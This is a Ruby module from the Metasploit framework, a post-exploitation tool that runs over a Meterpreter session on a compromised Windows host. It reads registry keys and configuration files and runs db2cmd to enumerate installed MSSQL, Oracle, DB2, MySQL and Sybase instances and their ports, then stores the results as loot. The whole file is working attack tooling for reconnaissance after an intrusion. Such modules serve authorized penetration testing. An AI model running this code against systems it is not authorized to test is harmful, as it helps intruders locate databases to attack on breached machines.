## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Windows::Registry include Msf::Auxiliary::Report def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Gather Database Instance Enumeration', 'Description' => %q{ This module will enumerate a windows system for installed database instances }, 'License' => MSF_LICENSE, 'Author' => [ 'Barry Shteiman ', # Module author 'juan vazquez' # minor help ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_fs_search stdapi_sys_config_getenv ] } } ) ) end # method called when command run is issued def run results = [] print_status("Enumerating Databases on #{sysinfo['Computer']}") if check_mssql results += enumerate_mssql end if check_oracle results += enumerate_oracle end if check_db2 results += enumerate_db2 end if check_mysql results += enumerate_mysql end if check_sybase results += enumerate_sybase end if results.empty? print_status('Done, No Databases were found') return end print_status('Done, Databases Found.') tbl = Rex::Text::Table.new( 'Header' => 'Installed Databases', 'Indent' => 1, 'Columns' => [ 'Type', 'Instance', 'Database', 'Port' ] ) results.each do |r| report_service(host: session.sock.peerhost, port: r[3], name: r[0], info: "#{r[0]}, #{r[1]}") tbl << r end print_line(tbl.to_s) p = store_loot('host.databases', 'text/plain', session, tbl.to_s, 'databases.txt', 'Running Databases') print_good("Results stored in: #{p}") end ##### initial identification methods ##### # method for Checking if database instances are installed on host - mssql def check_mssql key = 'HKLM\\SOFTWARE\\Microsoft' if registry_enumkeys(key).include?('Microsoft SQL Server') print_status("\tMicrosoft SQL Server found.") return true end return false rescue StandardError return false end # method for Checking if database instances are installed on host - oracle def check_oracle key = 'HKLM\\SOFTWARE\\Oracle' if registry_enumkeys(key).include?('ALL_HOMES') print_status("\tOracle Server found.") return true elsif registry_enumkeys(key).include?('SYSMAN') print_status("\tOracle Server found.") return true elsif registry_enumkeys(key).include?('KEY_XE') print_status("\tOracle Server found.") return true end return false rescue StandardError return false end # method for Checking if database instances are installed on host - db2 def check_db2 key = 'HKLM\\SOFTWARE\\IBM\\DB2' if registry_enumkeys(key).include?('GLOBAL_PROFILE') print_status("\tDB2 Server found.") return true end return false rescue StandardError return false end # method for Checking if database instances are installed on host - mysql def check_mysql key = 'HKLM\\SOFTWARE' if registry_enumkeys(key).include?('MySQL AB') print_status("\tMySQL Server found.") return true end return false rescue StandardError return false end # method for Checking if database instances are installed on host - sybase def check_sybase key = 'HKLM\\SOFTWARE\\Sybase' if registry_enumkeys(key).include?('SQLServer') print_status("\tSybase Server found.") return true elsif registry_enumkeys(key).include?('Server') print_status("\tSybase Server found.") return true end return false rescue StandardError return false end ##### deep analysis methods ##### # method to identify mssql instances def enumerate_mssql results = [] key = 'HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\Instance Names\\SQL' instances = registry_enumvals(key) if !instances.nil? && !instances.empty? instances.each do |i| tcpkey = "HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\#{registry_getvaldata(key, i)}\\MSSQLServer\\SuperSocketNetLib\\Tcp\\IPAll" tcpport = registry_getvaldata(tcpkey, 'TcpPort') print_good("\t\t+ #{registry_getvaldata(key, i)} (Port:#{tcpport})") results << ['mssql', "instance:#{registry_getvaldata(key, i)} port:#{tcpport}", 'Microsoft SQL Server', tcpport] end end return results rescue StandardError print_error("\t\t! could not identify information") return results || [] end # method to identify oracle instances def enumerate_oracle results = [] found_key = false basekey_set = ['HKLM\\SOFTWARE\\Oracle\\SYSMAN', 'HKLM\\SOFTWARE\\ORACLE\\KEY_XE'] basekey_set.each do |basekey| next if found_key instances = registry_enumkeys(basekey) if instances.nil? || instances.empty? next else found_key = true end instances.each do |i| if basekey.include? 'KEY_XE' val_ORACLE_SID = registry_getvaldata(basekey, 'ORACLE_SID') val_ORACLE_HOME = registry_getvaldata(basekey, 'ORACLE_HOME') else key = "#{basekey}\\#{i}" val_ORACLE_SID = registry_getvaldata(key, 'ORACLE_SID') val_ORACLE_HOME = registry_getvaldata(key, 'ORACLE_HOME') end if !exist?(val_ORACLE_HOME + '\\NETWORK\\ADMIN\\tnsnames.ora') print_error("\t\t! #{val_ORACLE_SID} (No Listener Found)") next end data_TNSNAMES = read_file(val_ORACLE_HOME + '\\NETWORK\\ADMIN\\tnsnames.ora') if data_TNSNAMES =~ /PORT\ =\ (\d+)/ port = ::Regexp.last_match(1) print_good("\t\t+ #{val_ORACLE_SID} (Port:#{port})") results << [ 'oracle', "instance:#{val_ORACLE_SID} port:#{port}", 'Oracle Database Server', port ] else print_error("\t\t! #{val_ORACLE_SID} (No Listener Found)") end end end if !found_key print_error("\t\t! Oracle instances not found") end return results rescue StandardError print_error("\t\t! could not identify information") return results || [] end # method to identify mysql instances def enumerate_mysql results = [] basekey = 'HKLM\\SOFTWARE\\MySQL AB' instances = registry_enumkeys(basekey) if instances.nil? || instances.empty? return results end instances.each do |i| key = "#{basekey}\\#{i}" val_location = registry_getvaldata(key, 'Location') data = find_mysql_conf(val_location) if data && data =~ (/port=(\d+)/) port = ::Regexp.last_match(1) print_good("\t\t+ MYSQL (Port:#{port})") results << ['mysql', "instance:MYSQL port:#{port}", 'MySQL Server', port] else print_error("\t\t! could not identify information") end end return results rescue StandardError print_error("\t\t! could not identify information") return results || [] end # method to identify sybase instances def enumerate_sybase basekey = 'HKLM\\SOFTWARE\\Sybase\\SQLServer' instance = registry_getvaldata(basekey, 'DSLISTEN') location = registry_getvaldata(basekey, 'RootDir') results = [] if !exist?(location + '\\ini\\sql.ini') print_error("\t\t! could not locate configuration file.") return results end data = read_file(location + '\\ini\\sql.ini') if data =~ /\[#{instance}\]([^\[]*)/ segment = ::Regexp.last_match(1) else print_error("\t\t! couldnt locate information.") return results end if segment =~ /master=\w+,[^,]+,(\d+)/ port = ::Regexp.last_match(1) else print_error("\t\t! couldnt locate information.") return results end print_good("\t\t+ #{instance} (Port:#{port})") results << [ 'sybase', "instance:#{instance} port:#{port}", 'Sybase SQL Server', port ] return results rescue StandardError print_error("\t\t! couldnt locate information.") return results || [] end # method to identify db2 instances def enumerate_db2 results = [] cmd_i = cmd_exec('db2cmd', '-i -w /c db2ilist') cmd_p = cmd_exec('db2cmd', '-i -w /c db2 get dbm cfg') if cmd_p =~ %r{\ ?TCP/IP\ Service\ name\ +\(SVCENAME\)\ =\ (\w+)} port = ::Regexp.last_match(1) else print_error("\t\t! could not identify instances information") return results end windir = session.sys.config.getenv('windir') getfile = session.fs.file.search(windir + '\\system32\\drivers\\etc\\', 'services.*', recurse = true, timeout = -1) data = nil getfile.each do |file| if exist?("#{file['path']}\\#{file['name']}") data = read_file("#{file['path']}\\#{file['name']}") break if !data.nil? end end if data && data =~ (/#{port}[\ \t]+(\d+)/) port_t = ::Regexp.last_match(1) else print_error("\t\t! could not identify instances information") return results end cmd_i.split("\n").compact.each do |line| stripped = line.strip print_good("\t\t+ #{stripped} (Port:#{port_t})") results << [ 'db2', "instance:#{stripped} port:#{port_t}", 'DB2 Server', port_t ] end return results rescue StandardError print_error("\t\t! could not identify instances information") return results || [] end ##### helper methods ##### def find_mysql_conf(val_location) data = nil if exist?(val_location + '\\my.ini') data = read_file(val_location + '\\my.ini') elsif exist?(val_location + '\\my.cnf') data = read_file(val_location + '\\my.cnf') else sysdriv = session.sys.config.getenv('SYSTEMDRIVE') getfile = session.fs.file.search(sysdriv + '\\', 'my.ini', recurse = true, timeout = -1) getfile.each do |file| if exist?("#{file['path']}\\#{file['name']}") data = read_file("#{file['path']}\\#{file['name']}") break end end end return data end end